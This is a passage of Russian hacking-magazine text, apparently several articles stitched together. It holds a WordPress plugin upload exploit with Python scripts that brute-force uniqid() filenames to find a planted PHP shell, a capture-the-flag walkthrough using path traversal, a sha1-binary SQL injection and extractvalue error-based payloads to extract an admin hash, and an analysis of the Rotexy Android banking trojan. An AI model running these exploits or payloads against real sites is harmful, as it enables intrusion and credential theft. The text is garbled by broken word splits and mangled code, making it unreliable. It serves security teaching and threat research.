от текуще го вре мени, которое в рам ках одной пла неты впол не пред ска зуемо.

Хоть  выход ная  пос ледова тель ность  и  выг лядит  слу чай ной,  она  таковой
не явля ется. Что бы не быть голос ловным, вот при мер име ни фай ла, сге нери‐ 
рован ного таким алго рит мом:

5ff21d43dbbab_shell.php 

По лучен ное  зна чение  лег ко  мож но  кон верти ровать  обратно  в  дату  и  вре мя
его генера ции:

       echo date("r", hexdec(substr("5ff21d43dbbab", 0, 8)));
// Sun, 03 Jan 2021 11:38:43 ‐0800

Ко неч но, бру тить все 13 сим волов — вши заедят, но у нас есть спо соб получ‐ 
ше: мы можем проб рутить вари анты на осно ве вре мени заг рузки плюс‐минус
пол секун ды,  что бы  нивели ровать  раз бежки  часов  на  кли енте  и  сер вере.
А мож но прос то поверить,  что часы у обо их  хос тов  точ ные, а  зна чит, мож но
про верить не мил лион вари антов (1 секун ду), а толь ко вари анты, воз можные
меж ду  вре менем  отправ ки  зап роса  и  вре менем  получе ния  отве та.  На  шус‐ 
тром канале это будет поряд ка 300–700 мс, что не так и мно го.

INFO

Ко неч но,  не  все  реаль ные  кей сы  тре буют  глу‐ 
боких  поз наний  в  PHP  или  дру гом  сер верном
язы ке.  Мно гие  ошиб ки  мож но  най ти,  даже
не  откры вая  код  —  с  помощью  авто мати чес ких
ска неров.  Под робнее  о  них  —  в 

. Они здо рово помога‐ 
ют,  так  что  не  грех  иметь  пароч ку  под  рукой
для экс пресс‐ана лиза!

на шей  статье
об авто мати чес ком взло ме

Я наб росал прос той скрипт на Python для демонс тра ции такой воз можнос ти.
Его код пред став лен ниже:

#!/usr/bin/env python3

   import requests, time

   url = 'http://example.host/wordpress/wp‐admin/admin‐ajax.php'
   data = {

     'audio‐filename': 'file.php',
     'action': 'save_record',
     'course_id': 'undefined',
     'unit_id': 'undefined',

}
   files = {

       'audio‐blob': open('pi.php.txt', 'rb')
}

 print(time.time()) # Время отправки запроса
       r = requests.post(url, data=data, files=files)

 print(time.time()) # Время ответа

print(r.headers)

Нам нуж но запус тить его нес коль ко раз, что бы подоб рать минималь ное вре‐ 
мя меж ду отправ кой зап роса и получе нием отве та — это поз волит умень шить
вре мя перебо ра.

Так же нуж но пом нить, что раз бежки все же могут быть, и чис то на вся кий
слу чай сто ит про верить, нас коль ко локаль ное вре мя соот ветс тву ет вре мени
на сер вере. Час тень ко оно воз вра щает ся сер вером в заголов ке 

 и поз воля ет понять, какую величи ну кор рекции внес ти в свои рас четы.
Last‐Modi‐

fied
Те перь бру тим:

#!/usr/bin/env python3

   import sys, time

try:
           from queue import Queue, Empty
except:
           from Queue import Queue, Empty

   number = Queue()

     timestamp = 100000000 # your timestamp here
 def main():

   try:
            hextime = format(timestamp, '8x')

        while number:
           try:

                  n = number.get(False)
                    hexusec = format((n), '5x')

                    print("%s%s" % (hextime, hexusec))

           except:
               exit()

         except Exception as e:
        print(" Exception main", e)

       raise

   try:
                for num in range(100000, 900000): # your us here

           number.put(num)

       main()

     except KeyboardInterrupt:
       print("\nCancelled by user!")

Как бы еще опти мизи ровать перебор?
Ну, во‐пер вых, питон сам по себе очень мед ленный и, конеч но, не смог бы

выпол нить соеди нение, переда чу заголов ков, отправ ку фай ла и про чие мел‐ 
кие  нак ладные  рас ходы  в  тот  же  момент.  А  интер пре татор  PHP  на  сто роне
сер вера едва ли момен таль но про верит пра ва,  запус тит скрипт, отра бота ет
слу жеб ные  фун кции  и  дой дет  до  собс твен но  уяз вимого  мес та.  Тут  мож но
накинуть эдак тысяч сто мик росекунд без малей ших потерь.

Во‐вто рых, выпол нение   оче вид но про исхо дит не в самом кон це
фун кции. Еще нуж но вре мя на обра бот ку заг ружен ного фай ла, запись отве та
(заголов ков), отправ ку это го все го по сети и на обра бот ку отве та интер пре‐ 
тато ром Python. Тут тоже мож но поряд ка 100 000 мик росекунд вычесть.

uniqid()

Вот  так  на  ров ном  мес те  мы  сок ратили  перебор  на  200  000  зап росов.
Мно го  это  или  мало?  В  моем  слу чае  это  сок ратило  количес тво  зап росов
еще при мер но на треть.

Ос талось  поряд ка  500  000  вари антов,  которые  мож но  переб рать  в  пре‐ 
делах часа или даже мень ше — у меня это заняло минут 15.

Те перь давай напишем еще один скрипт, который и будет искать наш шелл
с исполь зовани ем это го алго рит ма:

#!/usr/bin/env python3

 import time
 import threading
 import requests

     from threading import Lock

try:
           from queue import Queue, Empty
except:
           from Queue import Queue, Empty

   number = Queue()
   thread_count = 500

     timestamp = 100000000 # your timestamp here

 def main():
   try:

            hextime = format(timestamp, '8x')

          while not finished.isSet():
           try:

                  n = number.get(False)
                    hexusec = format((n), '5x')
                      uniqid = hextime + hexusec

                  ans = requests.get('http://example.host/wordpress/
wp‐content/uploads/2021/01/{0}_file.php'.format(uniqid))

                    if ans.status_code == 200:
                   print('Shell: http://example.host/wordpress/
wp‐content/uploads/2021/01/{0}_file.php'.format(uniqid))
                   exit()

            except Empty:
               finished.set()
               exit()

         except Exception as e:
        print(" Exception main", e)

       raise

   try:
                for num in range(100000, 900000): # your us here, including 

range limits described
           number.put(num)

          finished = threading.Event()

            for i in range(thread_count)
          t = threading.Thread(target=main)

       t.start()

     except KeyboardInterrupt:
       print("\nCancelled by user!")

Вот  и  всё:  запус каешь,  через  некото рое  вре мя  получа ешь  путь,  и  хост  зах‐ 
вачен!

На вер няка у тебя воз ник воп рос, нель зя ли как‐то еще усо вер шенс тво вать
этот перебор, потому что 500 тысяч вари антов — это все рав но как‐то мно‐ 
гова то? Мож но,  но  такого  зна чимо го  уско рения,  как  рань ше,  уже  не  будет.
Суть  в  том,  что мож но  идти  не  от  начала  про межут ка  вре мени  к  кон цу,  а  от
середи ны к кра ям. По опы ту, это работа ет нес коль ко быс трее.

Другой способ
Есть  и  спо соб  поп роще.  Зак люча ется  он  в  сле дующем:  новый  путь  к фай лу
фор миру ется  как  .
При  этом  новое  имя  фай ла  рав но 

. Валида ции поль зователь ско го име ни не про исхо дит, так что
мы  можем  в  конеч ном  ито ге  зас тавить  перемес тить  файл  по  пути 

, передав в име‐ 
ни зна чение  . Теперь наш шелл ста нет дос тупен по извес тно‐ 
му пути  .

<стандартная папка загрузок> + <новое имя  файла>
uniqid()  +  "_"  +  <имя  файла  от 

пользователя>
<папка 

загрузок> + <случайное значение> + "_/../shell.php"
/../shell.php

<путь к текущему wp‐upload>/shell.php

Продолжение статьи →
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ЗАДАЧА 4
Пос ледняя на сегод ня задач ка — тоже с root‐me и тоже из катего рии реалис‐ 
тичных,  но  замет но  пос ложнее.  Сер вис  Web  TV  —  новей шая  фран цуз ская
раз работ ка  в  сфе ре  интернет‐телеви дения.  Но  нас  инте ресу ет  не  новая
дешевая тра гедия, а админка.

Глав ная стра ница Web TV. Прос тите за мой фран цуз ский

Толь ко — вот незада ча — Gobuster никаких приз наков админки не обна ружил.
При дет ся изу чать, что нам дос тупно. А дос тупен логин (там фор ма авто риза‐ 
ции) и ссыл ка на нерабо тающий эфир.

Поп робу ем  залоги нить ся  и  перех ватить  зап рос  на  авто риза цию
с помощью Burp.

Бук ва З в сло ве «реаль ность» озна чает «защищен ность»

Зап рос отправ ляем в Repeater (пов торитель). Пусть пока там полежит.
Взгля нем еще разок на фор му логина. Какие мыс ли тебя посеща ют, ког да

ты видишь фор му для авто риза ции? Конеч но, SQL‐инъ екция! А давай  ткнем
туда кавыч ку. Написа ли. Отправ ляем. Хм, ничего не поменя лось. А как вооб‐ 
ще  узнать,  что  что‐то  поменя лось?  Смот ри  на  заголо вок  Content‐Length
в  отве те:  в  нашем  слу чае  там  при ходит  ров но  2079  байт,  если  инъ екции
не было, и, оче вид но, при дет силь но дру гой резуль тат в про тив ном слу чае. Я
поп робовал еще нем ного, и инъ екция так прос то не выяви лась, так что давай
поищем в дру гом мес те, а потом вер немся к это му зап росу.

Те перь пос мотрим в адресную стро ку. Похоже, на сер вере вклю чен 
,  пос коль ку  имен  фай лов  не  вид но.  Походим  нем ного  по  сай ту,

запоми ная  вари анты  URL  в  адресной  стро ке.  Наб люда ем  , 
,  .  Зна чит,    —  ско рее  все го,  имя  мас сива.

Во  вся ком  слу чае,  на  моем  опы те  это  обыч но  так.  А  если  пос ле 
передать что‐то кор рек тное, но не ожи даемое сер вером?

mod‐
_rewrite

/page_login /
page_tv /page_accueil /page_

/page_

Я поп робовал перей ти на стра ницу   и получил ошиб ку как на
скри не ниже.

/page_index

Ошиб ка интер пре тато ра

В  пер вом  сооб щении  об  ошиб ке  вид на  часть  пути  ( ),
которая закан чива ется на то же, что переда но в URL пос ле  . Про верим
нашу догад ку — перей дем по пути  .

corp_pages/fr/index
/page_

/page_xakep.php

И дей стви тель но — сайт прос то под став ляет параметр в путь и пыта ется про‐ 
читать  несущес тву ющий  файл  .  Поль зователь ский  ввод  под став‐ 
ляет ся в путь — зна чит, у нас есть воз можность повесе лить ся на сер вере!

xakep.php

Ме тодом науч ного тыка был обна ружен параметр  . Он ока зал ся
поч ти  такой  же  по  дей ствию,  как  .  Поп робу ем  про читать 
в кор не сай та.

/?action=
/page_ index.php

/?action=../../index.php

Вид но не все, но если открыть ответ в Burp или даже прос то прос мотреть код
стра ницы  бра узе ром —  откры вает ся  пол ный  исходник.  Вот  тебе  и  directory
traversal налицо.

Ре зуль тат обхо да катало га

Пом нишь, мы не мог ли най ти путь к админке? А на скрин шоте он есть: имен но
на него будет редирект, ког да скрипт про верит логин и пароль.

INFO

Взгля нем  попод робнее  на  фун кцию  .  Она
при нима ет  некото рую  стро ку,  экра ниру ет  спец‐ 
симво лы  и,  опци ональ но,  уда ляет  спец симво лы
HTML (если вто рой параметр равен 1). Экра ниро‐ 
вание  спец симво лов  дела ется  фун кци ей

,  которая  без  проб лем  обхо дит ся
с помощью муль тибай товой кодиров ки, нап ример
китай ской. Все было бы сов сем радуж но, если бы
сер вер  под держи вал  нуж ную  кодиров ку,  но,
к сожале нию, у нас это го нет.

safe

addslashes

Да вай,  не  отхо дя  от  кас сы,  сра зу  и  его  про чита ем —  вдруг  там  что‐нибудь
инте рес ное есть.

<?php
 require_once '../inc/config.php';

     function decrypt($str, $key) {
               $iv = substr( md5("hacker",true), 0, 8 );
             

   
return mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $str,

MCRYPT_MODE_CBC, $iv );
}

$msg="";
$user="";

   if (isset($_GET["logout"])) $_SESSION['logged']=0;

     if (isset($_GET["user"]) && preg_match("/^[a‐zA‐Z0‐9]+$/",$_GET[
"user"])){
   $user=$_GET["user"];
   } else {
   $msg="<p>hack detected !</p>";
   $_SESSION['logged']=0;
}

   if ($_SESSION['logged']==1) {
   $Validation="4/lOF/4ZMmdPxlFjZD63nA==";
         

 
if ($result = $db‐>query("SELECT passwd FROM users WHERE login='

$user'")) {
          if($result‐>num_rows > 0){

              $data = $result‐>fetch_assoc();
           $key=base64_encode($data['passwd']);
           $msg=$text['felicitation'].decrypt(base64_decode(
$Validation),$key);

          } else {
           $msg="<p>no such user</p>";
           $_SESSION['logged']=0;
       }
       $result‐>close();
     } else{
       $msg="<p>ERREUR SQL</p>";
       $db‐>close();
       exit();
   }
   } else {
   header("Location: ../index.php");
   $db‐>close();
   exit();
}

$db‐>close();
?>

Код успешно про читан, и вид на инте рес ная фун кция  , при нима ющая
некую стро ку и ключ.

decrypt

Ес ли  даль ше  про читать  код,  то  вид на  защита  от  спец симво лов  в  име ни
поль зовате ля, потом из базы извле кает ся пароль и рас шифро выва ется фун‐ 
кци ей  выше.  Казалось  бы —  вот  оно,  но  сна чала  надо  выяс нить  имя  поль‐ 
зовате ля,  которо го  у  нас  пока  нет.  Забегая  впе ред:  все  баги,  которые  есть
в этом при ложе нии, находят ся в двух рас смот ренных фай лах, и дру гих тут нет.

Те перь, что бы экс плу ати ровать даль ше, давай вер немся к прош лому фай‐ 
лу и рас смот рим его код еще раз.

     
     

if(isset($_POST['login'],$_POST['pass']) and !empty($_POST['login'])
and !empty($_POST['pass']) ) {

     $passwd=sha1($_POST['pass'],true); # Хеширование
     $username=safe($_POST['login']); # Извлечение юзернейма
   $sql="SELECT login FROM $table WHERE passwd='$passwd' AND login='
$username'";

   <...>
}

Прис мотрись  к  вызову фун кции  хеширо вания:  пом нишь  ли  ты,  что  озна чает
вто рой параметр ( ) в фун кции  ? Я тоже нет, так что давай пос мотрим

:
true sha1

ма нуал

Спи сок парамет ров
string
Вход ная стро ка.
binary
Ес ли необя затель ный аргу мент   име ет зна чение  , хеш

воз вра щает ся в виде бинар ной стро ки из 20 сим волов, ина че он будет
воз вра щен в виде 40-сим воль ного шес тнад цатерич ного чис ла.

binary true

<…>

То  есть  вер нется  некото рая  бинар ная  пос ледова тель ность,  которая  будет
рас позна на как стро ка. Нам нуж но, что бы пос ледний байт был равен  ,  что
в  ASCII  рав но  бэк сле шу.  Тог да  в  SQL‐зап росе  зак рыва ющая  кавыч ка  пос ле
пароля будет экра ниро вана и мы смо жем под ста вить в логин про изволь ный
SQL‐код! Пос ле  подоб ной  под ста нов ки  наш  зап рос может  выг лядеть  как‐то
так:

5c

$sql="SELECT login FROM $table WHERE passwd='123123'' OR 1=1 ‐‐ '";

И  для  это го  нуж но  толь ко  подоб рать  такой  сим вол  из  муль тибай товой
кодиров ки, что бы его пос ледний байт был равен  . А в нашем слу чае нуж но
подоб рать такой пароль, хеш которо го закан чивал ся бы на  . Это уже про ще
прос того  —  ведь  мы  не  огра ниче ны  в  том,  что  переда ем  в  фун кцию.  Я
написал для это го прос той скрипт на PHP.

5c
5c

<?php
                 for ($i = 1; $i <= 10000; $i++) {

        $hash = sha1($i);

                if (substr($hash, 38, 2) == "5c") {
          echo $i." ‐ ";

          die(sha1($i, true));
     }
 }
?>

На самом деле даже 10 000 вари антов — овер килл, потому что   — это один
байт,  а  так  как  выход ная пос ледова тель ность  хеш‐фун кции псев дослу чай на,
то понадо бит ся при мер но 256 попыток, если не будет дуб лей. Я же перес тра‐ 
ховал ся.

5c

Вы пол нилось  все  очень  быс тро —  подош ло  уже  чис ло  17.  Теперь  у  нас
есть «пра виль ный» пароль. Нуж но пос мотреть, какая будет реак ция сер виса.
Пом нишь  наш  зап рос  на  логин  в  Burp?  Под став ляй  в  качес тве  пароля  чис‐ 
ло 17, а в логин — клас сичес кий   (с про бела ми на обо их кон‐ 
цах). Ошиб ки нет, все в поряд ке. Зна чит, полей боль ше, чем одно. Пос тавим
что‐нибудь боль ше — 111, нап ример. Выпол няем — и вот у нас ошиб ка, зна чит
SQL‐инъ екция работа ет!

ORDER BY 1‐‐

Пе чаль но,  прав да,  что  никако го  резуль тата  из  зап роса  не  выводит ся.
Как это побороть? Исполь зовать любые шаб лоны time‐based, boolean‐based
или error‐based.

Мой  любимый  payload  в  таких  слу чаях — 
.  На  вся кий  слу чай

заменим про белы на плю сы, под ста вим в поле логина в Burp и отпра вим зап‐ 
рос. Видим в отве те сле дующее:

AND  extractvalue(1,concat(
0x3a,(select  version()  from  users  limit  0,1)))

SQL error : XPATH syntax error: ':5.7.32‐0ubuntu0.16.04.1' 

Инъ екция  работа ет,  пусть  и  выводит  не  боль ше  31  сим вола  за  раз.  А  нам
боль шего и не надо. Видо изме ним инъ екцию нем ного, что бы получить логин:

           AND extractvalue(1,concat(0x3a,(select login from users limit 0,1)))

От вет:

SQL error : XPATH syntax error: ':administrateur' 

И теперь пароль:

           AND extractvalue(1,concat(0x3a,(select passwd from users limit 0,1)))

И вот он:

SQL error : XPATH syntax error: ':e79c4da4f94b86cba5a81ba39fed083' 

Но не все так прос то. Как ты пом нишь, дли на хеша SHA‐1 в шес тнад цатерич‐ 
ной  кодиров ке  —  40  сим волов,  а  нам  вер нулись  31.  Непоря док!  Что бы
это испра вить, прос то возь мем фун кцию  :right

         
 

AND extractvalue(1,concat(0x3a,(select right(passwd,20) from users
limit 0,1)))

И вот наши пос ледние 20 сим волов:

SQL error : XPATH syntax error: ':1ba39fed083dbaf8bce5' 

Пол ный хеш —  .e79c4da4f94b86cba5a81ba39fed083dbaf8bce5
Даль ше  нуж но  обой ти  про вер ки  в  .  Пос ле  некото рых  упро‐ 

щений и очис тки его кода от мусора полез ный вари ант будет выг лядеть так:
logged.php

     function decrypt($str, $key) {
           $iv = substr(md5("hacker",true), 0, 8);
           

 
return mcrypt_decrypt(MCRYPT_BLOWFISH, $key, $str,

MCRYPT_MODE_CBC, $iv);
}

   $Validation = "4/lOF/4ZMmdPxlFjZD63nA==";
   $key = base64_encode('e79c4da4f94b86cba5a81ba39fed083dbaf8bce5');
   echo decrypt(base64_decode($Validation), $key);

Это  все  оста лось  лишь  обер нуть  в  заголов ки  PHP  и  запус тить —  и  пароль
у нас в руках!

РАЗБОР ЭТИХ ЗАДАЧ НА ВЕБИНАРЕ (ВИДЕО)

На пос ледок  напом ню  еще  раз,  что  18  янва ря  2021  года  я  нач ну  занятия
по безопас ности веб‐при ложе ний.  !Спе ши при соеди нить ся

https://www.php.net/manual/ru/function.sha1.php
https://vimeo.com/485651357
https://my.xakep.ru/websec
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ВЗЛОМ

С  момен та  появ ления  тро яна  Rotexy  центр  реаги рова ния
на  компь ютер ные  инци ден ты  BI.ZONE  заб локиро вал
более  1000  домен ных  имен,  которые  зло умыш ленни ки
исполь зовали в качес тве сер веров управле ния. Все это вре‐ 
мя  мы  вни матель но  отсле жива ли  деятель ность  извес тно го
вре доно са  для  Android.  В  этой  статье  (наде емся,  что  эпи‐ 
тафии)  рас ска жем  об  активнос ти  Rotexy  в  пос ледние  годы
и пос мотрим, как он устро ен.

Rotexy, помесь бан кера и вымога теля, появил ся в 2018 году и про вел десят ки
тысяч атак на поль зовате лей в Рос сии. В течение все го 2020 года активность
вре доно са  пос тоян но  сни жалась,  но  в  октябре —  нояб ре  мы  сно ва  зафик‐ 
сирова ли рост. Воп рос, будет ли неког да один из самых замет ных бан ков ских
тро янов акти вен вновь, пока оста ется откры тым.

КАК ПРОХОДИТ АТАКА
Rotexy рас простра няет ся, мас киру ясь под при ложе ния популяр ных  тор говых
онлайн‐пло щадок.  Ата ка  начина ется  впол не  обы ден но:  на  телефон  потен‐ 
циаль ной жер твы при ходит СМС,  которое приг лаша ет открыть вре донос ную
ссыл ку, внеш не похожую на адрес той или иной тор говой пло щад ки. По ссыл‐ 
ке заг ружа ется бан ков ский тро ян. Инте рес но, что по коман де зло умыш ленни‐ 
ков  такие  фишин говые  сооб щения  рас простра няют  ранее  заражен ные
устрой ства.

Фун кции бан кера зак люча ются в том, что Rotexy побуж дает жер тву ввес ти
дан ные  бан ков ской  кар ты  на  фишин говой  стра нице.  Так же  трой  дей ству ет
как вымога тель: он может заб локиро вать экран устрой ства жер твы по коман‐ 
де  с  управля юще го  сер вера.  В  боль шинс тве  таких  слу чаев  отоб ража ется
стра ница  с  сооб щени ем  о  том,  что  для  раз бло киров ки  экра на  необ ходимо
«опла тить штраф» за прос мотр кон тента (нап ример, пор ногра фичес кого).

РАСПРОСТРАНЕНИЕ
В  пос леднее  вре мя  опе рато ры  Rotexy  край не  изби ратель но  отно сились
к  рас простра нению  сво ей  вре донос ной  прог раммы.  Пос ле  перехо да  поль‐ 
зовате ля по вре донос ной ссыл ке из СМС зло умыш ленни ки про веря ли User‐
Agent  его  устрой ства.  И  толь ко  если  девайс  ока зывал ся  мобиль ным,  заг‐ 
ружалась вре донос ная прог рамма.

Кро ме  того,  управля ющие  сер веры  нас тра ивают ся  таким  обра зом,  что
за  одну  рас сылку  они  не  поз воля ют  ска чивать  вре донос ные  фай лы  боль‐ 
ше 2000 раз. Эти огра ниче ния приз ваны пре дот вра тить детек тирова ние тро‐ 
яна и бло киров ку домена.

СТАТИСТИКА АКТИВНОСТИ
В  течение  прак тичес ки  все го  года  мы  наб людали  зна читель ное  сни жение
активнос ти  Rotexy.  Если  в  начале  2020‐го  BI.ZONE‐CERT  отпра вил  на  бло‐ 
киров ку  поч ти  50  доменов,  зарегис три рован ных  опе рато рами  Rotexy,  то
в сен тябре мы обна ружи ли толь ко один.

При этом в октябре сно ва начал ся рост активнос ти — за месяц мы обна‐ 
ружи ли 17 доменов, а в нояб ре — уже 30.

Ко личес тво доменов, отправ ленных на бло киров ку в течение 2020 года

Пик  чис ла  новых  регис тра ций  доменов  опе рато рами  Rotexy  зафик сирован
в  2019  году  (вид но  на  рисун ке  ниже),  пос коль ку  тог да  рас сылки  были  мас‐ 
совыми и наб людались по всей Рос сии. В 2018‐м вре донос толь ко появил ся,
при чем  лишь  во  вто рой  полови не  года,  одна ко  количес тво  обна ружен ных
доменов  за  это  вре мя  зна читель но  пре выша ет  показа тель  за  один надцать
месяцев 2020‐го. Это мож но свя зать с тем, что в пос леднее вре мя опе рато ры
Rotexy  ста ли  более  изби ратель но  рас простра нять  вре донос ные  APK‐фай лы
и, как пра вило, в день регис три рова ли не боль ше двух доменов.

Ко личес тво доменов, отправ ленных на бло киров ку в течение трех лет

ДЕТЕКТИРОВАНИЕ
Све жие  сем плы  вре донос ной  прог раммы  не  детек тиру ются  анти виру сами,
пос коль ку обфусци руют ся с помощью при ват ных крип торов.

От личитель ная  осо бен ность  Rotexy  —  уме ние  обхо дить  антифрод‐сис‐ 
темы бан ков. Прог рамма попол няет баланс мобиль ного сче та с бан ков ской
кар ты жер твы, а затем перево дит средс тва через лич ный кабинет на дру гой
номер.

ОСНОВНАЯ ФУНКЦИОНАЛЬНОСТЬ
Вспом ним,  какие  основные  фун кци ональ ные  воз можнос ти  есть  в  арсе нале
Rotexy, на при мере фай ла  .b848e1cfb58b6e6bdcd44104d04877bd

Ис ходный  исполня емый  APK‐файл  Rotexy  зна читель но  обфусци рован.
Зло умыш ленни ки исполь зуют три спо соба обфуска ции:

мер твый код;•
прок си‐методы;•
шиф рование строк.•

Мертвый код
Код  вре доно са  запол нен  боль шим  количес твом  так  называ емо го  мер тво го
кода, который меша ет ана лизу. В боль шинс тве слу чаев это реали зова но сле‐ 
дующим обра зом: в перемен ную помеща ется нулевое зна чение, пос ле чего
про веря ется,  дей стви тель но  ли  перемен ная  рав на  нулю,  и  при  истиннос ти
усло вия  (а  такое  усло вие  истинно  всег да)  выпол няет ся  переход  на  опре‐ 
делен ную мет ку. Сле дова тель но, часть кода ока зыва ется про пуще на.

При мер мер тво го кода при веден на рисун ке ниже. Код меж ду  ком мента‐ 
риями «начало мер тво го кода» и «конец мер тво го кода» никог да не исполнит‐ 
ся.

Лис тинг с при мером мер тво го кода

Прокси-методы
«Прок си‐метода ми» мы наз вали методы, которые пос ледова тель но вызыва ют
друг  дру га  по  цепоч ке,  пока  не  будет  дос тигнут  целевой  метод.  При мер
исполь зования прок си‐метода при веден на рисун ке ниже: при сра баты вании

 будет по оче реди выз вано девять методов и лишь десятым — тот,
который про изве дет нуж ное дей ствие.
onTick()

Пос ледова тель ность вызовов до дос тижения целево го метода

Шифрование строк
Стро ки в фай ле зашиф рованы алго рит мом AES‐256 в режиме CBC. Зашиф‐ 
рован ные стро ки  хра нят ся в виде мас сивов,  где пер вый эле мент — зашиф‐ 
рован ные дан ные, вто рой — ключ шиф рования,  тре тий — век тор ини циали‐ 
зации. В лис тинге зашиф рован ная стро ка выг лядит сле дующим обра зом.

При мер зашиф рован ной стро ки

РАБОТА ВРЕДОНОСНОЙ ПРОГРАММЫ
Пос ле запус ка вре донос ное при ложе ние пыта ется получить ряд при виле гий,
а так же отправ ляет информа цию о заражен ной сис теме на сер вер управле‐ 
ния.

Дан ные о себе, сво их дей стви ях, а так же о заражен ном устрой стве Rotexy
хра нит в локаль ной базе дан ных SQLite.

Запуск
Пос ле  запус ка  Rotexy  зап рашива ет  при виле гии,  которые  поз воля ют  тро яну
выпол нять вре донос ные дей ствия на заражен ном устрой стве.

Вре донос ная  прог рамма  зап рашива ет  пра ва  адми нис тра тора  и  исполь‐ 
зование служ бы спе циаль ных воз можнос тей, с их помощью мож но получить
осталь ные  пра ва.  Ей  необ ходимы  при виле гии,  обес печива ющие  авто запуск
вре донос ного  при ложе ния  пос ле  перезаг рузки  устрой ства,  что бы  оно  фун‐ 
кци они рова ло  неп рерыв но.  Так же  Rotexy  тре буют ся  при виле гии,  пре дос‐ 
тавля ющие воз можнос ти работы с Google Cloud Messaging и СМС,  которые
исполь зуют ся  для  вза имо дей ствия  с  управля ющим  сер вером.  Кро ме  того,
вре донос ной прог рамме необ ходим дос туп к спис ку кон тактов, а так же воз‐ 
можность управлять под клю чени ем к сети Wi‐Fi и изме нять сос тояние сетево‐ 
го  под клю чения,  для  чего  так же  нуж ны  отдель ные  пра ва.  Важ ная  при виле‐ 
гия — воз можность соз дать окно, которое отоб ража ется поверх дру гих при‐ 
ложе ний,  пос коль ку  за  счет  это го  реали зова на  основная  вре донос ная фун‐ 
кци ональ ность.

При стар те Rotexy про веря ет, в какой стра не запус кает ся. Активность вре‐ 
донос ное при ложе ние про явля ет лишь в Рос сии.

Сервисы
В  фоновом  режиме  могут  запус кать ся  некото рые  сер висы.  Сер вис  запус ка
бан кера, вымога теля или обновле ния показы вает поль зовате лю HTML‐стра‐ 
ницу,  получен ную  с  управля юще го  сер вера  и  соот ветс тву ющую  бан керу,
вымога телю  или  стра нице  обновле ния  (если  сер вер  управле ния  вклю чает
дан ные  режимы).  Вре донос ное  при ложе ние  име ет  сра зу  три  воз можных
источни ка  получе ния  команд  от  управля юще го  сер вера:  Google  Cloud Mes‐
saging,  HTTP‐зап росы  и  СМС.  Соот ветс твен но,  вре донос ным  при ложе нием
могут  быть  запуще ны  сер вис Google  Cloud Messaging  (GCM),  сер вис  обра‐ 
бот ки интернет‐команд и  сер вис обра бот ки СМС,  которые и будут отве чать
за вза имо дей ствие с сер вером управле ния.

Взаимодействие с сервером управления
Как  уже  упо мина лось,  вза имо дей ствие  с  сер вером  управле ния  воз можно
с помощью HTTP‐зап росов, СМС и сер виса GCM.

Пос ле  запус ка  тро ян  отсы лает  на  управля ющий  сер вер  информа цию
о текущем сос тоянии устрой ства, вклю чая SID, IMEI, наличие адми нис тра тив‐ 
ных при виле гий, ста тус бло киро вания экра на, ста тус «имму ните та», тип сети,
к  которой под клю чен смар тфон, сос тояние экра на  (вклю чен или нет), ста тус
дос тупа  к  служ бе  спе циаль ных  воз можнос тей,  ста тус  наличия  при виле гий
СМС‐при ложе ния.  На  сер вер  управле ния  так же может  отправ лять ся  спи сок
запущен ных про цес сов и спи сок уста нов ленных при ложе ний.

Дан ные переда ются в виде зашиф рован ного JSON. Сна чала они кодиру‐ 
ются в фор мат Base64, пос ле чего зашиф ровыва ются с помощью алго рит ма
AES‐256 в режиме CBC с допол нени ем бло ка нулями и далее пре обра зуют ся
в шес тнад цатерич ное пред став ление. IP‐адрес управля юще го сер вера, ключ
шиф рования,  век тор  ини циали зации,  а  так же  иден тифика тор  для  GCM  хра‐ 
нят ся  в  кон фигура ции  при ложе ния.  Часть  кон фигура ции  для  при мера  при‐ 
веде на на рисун ке ниже.

Кон фигура ция Rotexy

При каж дом зап росе к управля юще му сер веру генери рует ся новый URL вида

. Веро ятно, зло умыш ленни ки исполь зуют такой под ход для пре дот‐ 
вра щения пов торно го исполь зования зап росов иссле дова теля ми.

hxxp://213[.]166[.]68[.]138/repeater/getaway<случайное число от 1
до 10000>

Ге нери рующий URL код при веден на рисун ке ниже.

Код, генери рующий URL управля юще го сер вера

На  рисун ке  ниже  —  блок  кода,  иллюс три рующий  фор мирова ние  JSON
для отправ ки дан ных на управля ющий сер вер.

Фор мирова ние JSON с дан ными о заражен ном устрой стве

Об ращение за новыми коман дами Rotexy выпол няет по  коман де от ботово‐ 
дов.

По  коман де  с  управля юще го  сер вера  вре донос  может  сох ранить  HTML‐
шаб лон для даль нейше го исполь зования в фун кци ях бан кера или вымога теля
и дан ные для его запол нения. Так же он может вклю чить или вык лючить отоб‐ 
ражение  сфор мирован ных  HTML‐стра ниц.  Rotexy  разош лет  СМС  по  спис ку
кон тактов,  получив  соот ветс тву ющую  коман ду.  Если  была  получе на  допол‐ 
нитель ная  коман да,  вре донос  спо собен  управлять  исполь зовани ем  GCM,
обно вить адрес сер вера управле ния, отпра вить СМС, отоз вать пра ва адми‐ 
нис тра тора,  отпра вить  спи сок  кон тактов  на  управля ющий  сер вер,  вклю чить
режимы бан кера, вымога теля или обновле ния, а так же завер шить их работу.

Rotexy может перех ватывать все вхо дящие СМС и обра баты вать их в соот‐ 
ветс твии  со  сво ими  шаб лонами.  Через  СМС  Rotexy  может  получать  сле‐ 
дующие коман ды:

отоз вать пра ва адми нис тра тора;•
уп равлять под клю чени ем к интерне ту через мобиль ную сеть или Wi‐Fi;•
от пра вить СМС;•
сме нить адрес сер вера управле ния.•

Ин терес но, что с помощью получен ной по СМС коман ды может быть отклю‐ 
чена бло киров ка экра на.

ЗАКЛЮЧЕНИЕ
Rotexy  появил ся  дав но  и  прак тичес ки  не  менял  сво их  фун кци ональ ных  воз‐ 
можнос тей,  за  исклю чени ем  осо бен ностей  его  рас простра нения.  Нес мотря
на  то  что  на  про тяже нии  все го  2020  года мы наб людали  зна читель ное  сни‐ 
жение  активнос ти  тро яна,  он  все  еще  никуда  не  про пал:  в  пос ледние  два
месяца рас тет чис ло регис три руемых опе рато рами доменов.

И  хотя  опе рато ры  Rotexy  уже  дав но  перес тали  исполь зовать  мас совые
рас сылки  для  рас простра нения  сво ей  вре донос ной  прог раммы,  сто ит  вни‐ 
матель нее отно сить ся к получен ным сооб щени ям.
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ВЗЛОМ

 — мас тхев  в  арсе нале  любого  пен‐ 
тесте ра.  Это  армей ский  швей цар ский  нож
для выпол нения типич ных задач тес тирова‐ 
ния  на  про ник новение.  Drozer  поз воля ет
получить  информа цию  о  при ложе нии,
запус тить  его  активнос ти,  под клю чить ся
к  ContentProvider’у,  отпра вить  сооб щения
сер вису —  в  общем,  все,  что бы  вытащить
из при ложе ния информа цию или зас тавить
